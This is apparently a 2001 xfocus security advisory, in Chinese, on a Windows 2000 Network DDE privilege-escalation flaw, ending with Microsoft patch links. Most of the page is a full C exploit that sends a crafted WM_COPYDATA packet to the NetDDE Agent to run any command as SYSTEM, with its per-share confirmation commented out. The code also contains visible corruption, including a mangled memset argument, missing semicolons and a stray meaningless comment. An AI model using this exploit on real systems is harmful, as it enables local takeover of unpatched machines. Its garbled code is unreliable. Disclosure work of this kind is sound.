xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Microsoft Windows 2000 Network DDE存在权利提升漏洞


发布时间:2001-02-09
更新时间:2001-02-09
严重程度:
威胁程度:本地管理员权限
错误类型:设计错误
利用方式:服务器模式

受影响系统
受影响系统:

Microsoft Windows NT 2000 Server
Microsoft Windows NT 2000 Advanced Server
Microsoft Windows NT 2000
详细描述
Network DDE (Dynamic Data Exchange)允许进程通过受信任共享来在网络上通信信息。一IPC 窗口(Network DDE Agent)可以在进程间通信,使用命令函数如WM_COPYDATA可以使一信息通过NET DDE AGENT发送到受信任的共享(此共享和一进程关联),不好的是NETDDE AGENT运行在LOCAL SYSTEM上下文,因此可以导致本地用户以SYSTEM的权利来执行任意代码。

测试代码
:
    #include<windows.h>
#include<stdlib.h>
#include<stdio.h>
#include<nddeapi.h>


void NDDEError(UINT err)
{
    char error[256];
    NDdeGetErrorString(err,error,256);
    MessageBox(NULL,error,"NetDDE error",MB_OK|MB_ICONSTOP|MB_SETFOREGROUND);
//   exit(err);
}

void *BuildNetDDEPacket(const char *svShareName, const char* svCmdLine, int *pBufLen)
{
    // Build NetDDE message
    int cmdlinelen=strlen(svCmdLine);
    int funkylen=0x18+strlen(svShareName)+1+cmdlinelen+1;
    char *funky=(char *)malloc(funkylen);
    if(funky==NULL) {
        MessageBox(NULL,"Out of memory.","Memory error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
        return NULL;
    }
    
    funky[0x00]=(char)0xE1;    
    funky[0x01]=(char)0xDD;
    funky[0x02]=(char)0xE1;
    funky[0x03]=(char)0xDD;    // 0xDDE1DDE1 (magic number)

    funky[0x04]=(char)0x01;
    funky[0x05]=(char)0x00;
    funky[0x06]=(char)0x00;
    funky[0x07]=(char)0x00; // 0x00000001 (?)

    funky[0x08]=(char)0x01;
    funky[0x09]=(char)0x00;
    funky[0x0A]=(char)0x00;
    funky[0x0B]=(char)0x00; // 0x00000001 (?)
    
    funky[0x0C]=(char)0x05; // ShareModId
    funky[0x0D]=(char)0x00;
    funky[0x0E]=(char)0x00;
    funky[0x0F]=(char)0x09;
    funky[0x10]=(char)0x00;
    funky[0x11]=(char)0x00;
    funky[0x12]=(char)0x00;
    funky[0x13]=(char)0x01;

    funky[0x14]=(char)0xCC;    // unused (?)
    funky[0x15]=(char)0xCC;
    funky[0x16]=(char)0xCC;
    funky[0x17]=(char)0xCC;

    memcpy(funky+0x18,svShareName,strlen(svShareName)+1);        // Share name
    memcpy(funky+0x18+strlen(svShareName)+1,svCmdLine,cmdlinelen+1);    // Command line to execute

    *pBufLen=funkylen;
    return funky;
}



int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance, LPSTR lpCmdLine,int nCmdShow)
{
  // TODO: Place code here.

// Check command line
    int cmdlinelen;
    if(lpCmdLine==NULL || lpCmdLine[0]=='\0') {
        MessageBox(NULL,"Syntax is: netddmsg [-s sharename] <command line>","Command line error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
        return -1;
    }
    cmdlinelen=strlen(lpCmdLine);
    
    char *szShare=NULL;
    char *szCmdLine=lpCmdLine;
    if(strncmp(lpCmdLine,"-s",2)==0) {
        szShare=lpCmdLine+2;
        while ((*szShare)==' ')
            szShare++;
        char *szEnd=strchr(szShare,' ');
        if(szEnd==NULL) {
            MessageBox(NULL,"You must specify a command to run.","Command line error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
            return -1;
        }
        szCmdLine=szEnd+1;
        *szEnd='\0'
    }

    // Get NetDDE Window
    HWND hwnd=FindWindow("NDDEAgnt","NetDDE Agent");
    if(hwnd==NULL) {
        MessageBox(NULL,"Couldn't find NetDDE agent window","Error",MB_OK|MB_ICONSTOP|MB_SETFOREGROUND);
        return -1;
    }

    // Get computer name
    DWORD dwSize=256;
    char svCompName[256];
    GetComputerName(svCompName,&dwSize);

    // Get list of shares to try
    char *sharename,*sharenames;
    if(szShare==NULL) {
        // Try all shares
        UINT err;
        DWORD dwNumShares;
        // deep check otgpdvt
        err=NDdeShareEnum(svCompName,0,NULL,0,&dwNumShares,&dwSize);
        if(err!=NDDE_NO_ERROR && err!=NDDE_BUF_TOO_SMALL) {
            NDDEError(err);
        }
        sharenames=(char *)malloc(dwSize);
        err=NDdeShareEnum(svCompName,0,(LPBYTE)sharenames,dwSize,&dwNumShares,&dwSize);
        if(err!=NDDE_NO_ERROR) {
            NDDEError(err);
        }
    } else {
        // Try command line share
        sharenames=(char *)malloc(strlen(szShare)+2);
        memset(sharenames,&#390;',strlen(szShare)+2);
        strcpy(sharenames,szShare);
    }
    
    // Try all shares
    for(sharename=sharenames;(*sharename)!='\0'sharename+=(strlen(sharename)+1)) {
        
        // Ask user
        if(szShare==NULL) {
            char svPrompt[256];
            _snprintf(svPrompt,256,"Try command through the '%s'share?",sharename);
     //       if(MessageBox(NULL,svPrompt,"Confirmation",MB_YESNO|MB_ICONQUESTION|MB_SETFOREGROUND)==IDNO)
       //         continue;
        }

        // Get NetDDE packet
        void *funky;
        int funkylen;
        funky=BuildNetDDEPacket(sharename, szCmdLine, &funkylen);
        if(funky==NULL)
            return -1;
    
        // Perform CopyData
        COPYDATASTRUCT cds;
        cds.cbData=funkylen;
        cds.dwData=0;
        cds.lpData=(PVOID)funky;
        SendMessage(hwnd,WM_COPYDATA,(WPARAM)hwnd,(LPARAM)&cds);
    
        // Free memory
      free(funky);

    }

    // Free memory
    free(sharenames);

return 0;
}

解决方案
下载补丁程序:
Microsoft Windows NT 2000 Server:

Microsoft patch Q285851_W2K_SP3_x86_en
http://download.microsoft.com/download/win2000platform/Patch/q285851/NT5/EN-US/Q285851_W2K_SP3_x86_en.EXE

Microsoft Windows NT 2000 Advanced Server:

Microsoft patch Q285851_W2K_SP3_x86_en
http://download.microsoft.com/download/win2000platform/Patch/q285851/NT5/EN-US/Q285851_W2K_SP3_x86_en.EXE

Microsoft Windows NT 2000:

Microsoft patch Q285851_W2K_SP3_x86_en
http://download.microsoft.com/download/win2000platform/Patch/q285851/NT5/EN-US/Q285851_W2K_SP3_x86_en.EXE

相关信息